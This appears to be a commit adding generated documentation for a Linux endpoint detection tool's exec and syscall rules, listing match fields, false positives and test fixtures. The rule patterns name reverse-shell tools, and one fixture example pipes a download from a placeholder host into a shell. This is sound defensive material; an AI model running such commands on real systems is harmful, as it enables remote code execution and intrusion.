Generate event rule documentation

docs/RULES.md

@@ -0,0 +1,200 @@
+# Enodia Sentinel Event Rule Reference
+
+Generated from the active exec/syscall rule defaults plus any configured `exec_rules_file` entries.
+
+Use `enodia-sentinel rules list/show/test` to inspect rules and validate event fixtures locally.
+
+## SID 100001: Program executed from a world-writable directory
+
+- Event: `exec`
+- Signature: `exec_rule.fileless-execution`
+- Classtype: `fileless-execution`
+- Severity: `CRITICAL`
+- Origin: `builtin`
+
+Match fields:
+- `path_prefixes`: `/tmp/`, `/dev/shm/`, `/var/tmp/`
+
+Expected false positives:
+- Temporary build or installer helpers intentionally executed from `/tmp`, `/var/tmp`, or `/dev/shm`.
+- One-shot administrative diagnostics copied into a writable directory.
+
+Drill or fixture: `sentinel-redteam ebpf_exec` fires a short-lived writable-path execution event when the eBPF exec monitor is enabled.
+
+## SID 100002: Reverse-shell command pattern in execve arguments
+
+- Event: `exec`
+- Signature: `exec_rule.c2-reverse-shell`
+- Classtype: `c2-reverse-shell`
+- Severity: `CRITICAL`
+- Origin: `builtin`
+
+Match fields:
+- `argv_regex`: `/dev/(tcp|udp)/|\b(ba|da|z)?sh\b[^|]*\s-i\b|\bn(c|cat|etcat)\b.*\s-e\b|\bsocat\b.*\bexec|python[0-9.]*\b.*(pty\.spawn|socket\.socket)|perl\b.*\bSocket\b`
+
+Expected false positives:
+- Security training labs or safe self-tests that intentionally include reverse-shell command text.
+- Benign scripts containing literal `/dev/tcp` or `pty.spawn` examples in their argv.
+
+Drill or fixture: `sentinel-redteam ebpf_exec` emits a `/dev/tcp` argv fixture; `rules test` can validate a captured exec JSON event offline.
+
+## SID 100003: Web/DB service spawned a shell or interpreter (possible RCE/webshell)
+
+- Event: `exec`
+- Signature: `exec_rule.web-rce`
+- Classtype: `web-rce`
+- Severity: `CRITICAL`
+- Origin: `builtin`
+
+Match fields:
+- `exec_comm`: `ash`, `bash`, `dash`, `ksh`, `lua`, `nc`, `ncat`, `netcat`, `perl`, `php`, `python`, `python2`, `python3`, `ruby`, `sh`, `socat`, `zsh`
+- `parent_comm`: `apache`, `apache2`, `caddy`, `catalina`, `httpd`, `lighttpd`, `mariadbd`, `mysqld`, `nginx`, `node`, `nodejs`, `php`, `php-fpm`, `php7`, `php8`, `postgres`, `redis-server`, `tomcat`
+
+Expected false positives:
+- Legitimate web applications invoking maintenance scripts through shell wrappers.
+- Database or web service containers whose entrypoint intentionally spawns an interpreter.
+
+Drill or fixture: Use `rules test` with an exec event whose `parent_comm` is a web/database service and whose `filename` is an interpreter.
+
+## SID 100004: Download piped directly to a shell (ingress tool transfer)
+
+- Event: `exec`
+- Signature: `exec_rule.ingress-tool-transfer`
+- Classtype: `ingress-tool-transfer`
+- Severity: `HIGH`
+- Origin: `builtin`
+
+Match fields:
+- `argv_regex`: `\b(curl|wget|fetch)\b.*\|\s*(ba|da|z)?sh\b`
+
+Expected false positives:
+- Bootstrap scripts that intentionally pipe downloaded install content into a shell.
+- Developer setup tooling run interactively during provisioning.
+
+Drill or fixture: Use `rules test` with argv like `curl http://example.invalid/x | sh`.
+
+## SID 100060: mprotect made memory writable and executable
+
+- Event: `syscall`
+- Signature: `syscall_rule.memory-obfuscation`
+- Classtype: `memory-obfuscation`
+- Severity: `CRITICAL`
+- Origin: `builtin`
+
+Match fields:
+- `syscalls`: `mprotect`
+- `predicate`: `built-in predicate`
+
+Expected false positives:
+- JIT runtimes or emulators that make pages writable and executable.
+- Security tooling that deliberately tests W^X policy.
+
+Drill or fixture: Use `rules test` with syscall `mprotect` and `args[2]` containing write+exec permissions, for example `0x6`.
+
+## SID 100061: mmap requested writable and executable memory
+
+- Event: `syscall`
+- Signature: `syscall_rule.memory-obfuscation`
+- Classtype: `memory-obfuscation`
+- Severity: `CRITICAL`
+- Origin: `builtin`
+
+Match fields:
+- `syscalls`: `mmap`
+- `predicate`: `built-in predicate`
+
+Expected false positives:
+- JIT runtimes, emulators, or language VMs that allocate RWX memory.
+- Compatibility layers that request executable writable mappings.
+
+Drill or fixture: Use `rules test` with syscall `mmap` and `args[2]` containing write+exec permissions.
+
+## SID 100062: memfd_create used for anonymous in-memory file staging
+
+- Event: `syscall`
+- Signature: `syscall_rule.fileless-execution`
+- Classtype: `fileless-execution`
+- Severity: `MEDIUM`
+- Origin: `builtin`
+
+Match fields:
+- `syscalls`: `memfd_create`
+- `predicate`: `built-in predicate`
+
+Expected false positives:
+- Browsers, sandbox helpers, and runtimes that legitimately use anonymous memfd files.
+- Container or IPC frameworks using memfd as a transport primitive.
+
+Drill or fixture: Use `rules test` with syscall `memfd_create`; include `text` to document the captured name.
+
+## SID 100063: ptrace anti-debug or attach operation observed
+
+- Event: `syscall`
+- Signature: `syscall_rule.anti-analysis`
+- Classtype: `anti-analysis`
+- Severity: `HIGH`
+- Origin: `builtin`
+
+Match fields:
+- `syscalls`: `ptrace`
+- `predicate`: `built-in predicate`
+
+Expected false positives:
+- Debuggers, profilers, crash handlers, and endpoint tooling that attach to processes.
+- Developer sessions running `strace`, `gdb`, or similar tracing tools.
+
+Drill or fixture: Use `rules test` with syscall `ptrace` and request `16` (`PTRACE_ATTACH`) or `0x4206` (`PTRACE_SEIZE`).
+
+## SID 100064: seccomp sandboxing call observed (possible anti-analysis hardening)
+
+- Event: `syscall`
+- Signature: `syscall_rule.anti-analysis`
+- Classtype: `anti-analysis`
+- Severity: `MEDIUM`
+- Origin: `builtin`
+
+Match fields:
+- `syscalls`: `prctl`, `seccomp`
+- `predicate`: `built-in predicate`
+
+Expected false positives:
+- Browsers, container runtimes, and sandboxed services enabling seccomp as normal hardening.
+- Security test harnesses validating seccomp policy.
+
+Drill or fixture: Use `rules test` with syscall `seccomp`, or syscall `prctl` with `arg0` set to `22` (`PR_SET_SECCOMP`).
+
+## SID 100065: cross-process memory read/write syscall observed
+
+- Event: `syscall`
+- Signature: `syscall_rule.credential-access`
+- Classtype: `credential-access`
+- Severity: `HIGH`
+- Origin: `builtin`
+
+Match fields:
+- `syscalls`: `process_vm_readv`, `process_vm_writev`
+- `predicate`: `built-in predicate`
+
+Expected false positives:
+- Debuggers, profilers, memory scanners, and EDR tools inspecting another process.
+- Backup or checkpoint tooling that reads process memory intentionally.
+
+Drill or fixture: Use `rules test` with syscall `process_vm_readv` or `process_vm_writev`.
+
+## SID 100066: memory locking syscall observed (possible protected in-memory payload)
+
+- Event: `syscall`
+- Signature: `syscall_rule.memory-obfuscation`
+- Classtype: `memory-obfuscation`
+- Severity: `MEDIUM`
+- Origin: `builtin`
+
+Match fields:
+- `syscalls`: `mlock`, `mlock2`, `mlockall`
+- `predicate`: `built-in predicate`
+
+Expected false positives:
+- Databases, crypto agents, and credential stores locking sensitive memory.
+- Realtime or performance-sensitive services using `mlock` intentionally.
+
+Drill or fixture: Use `rules test` with syscall `mlock`, `mlock2`, or `mlockall`.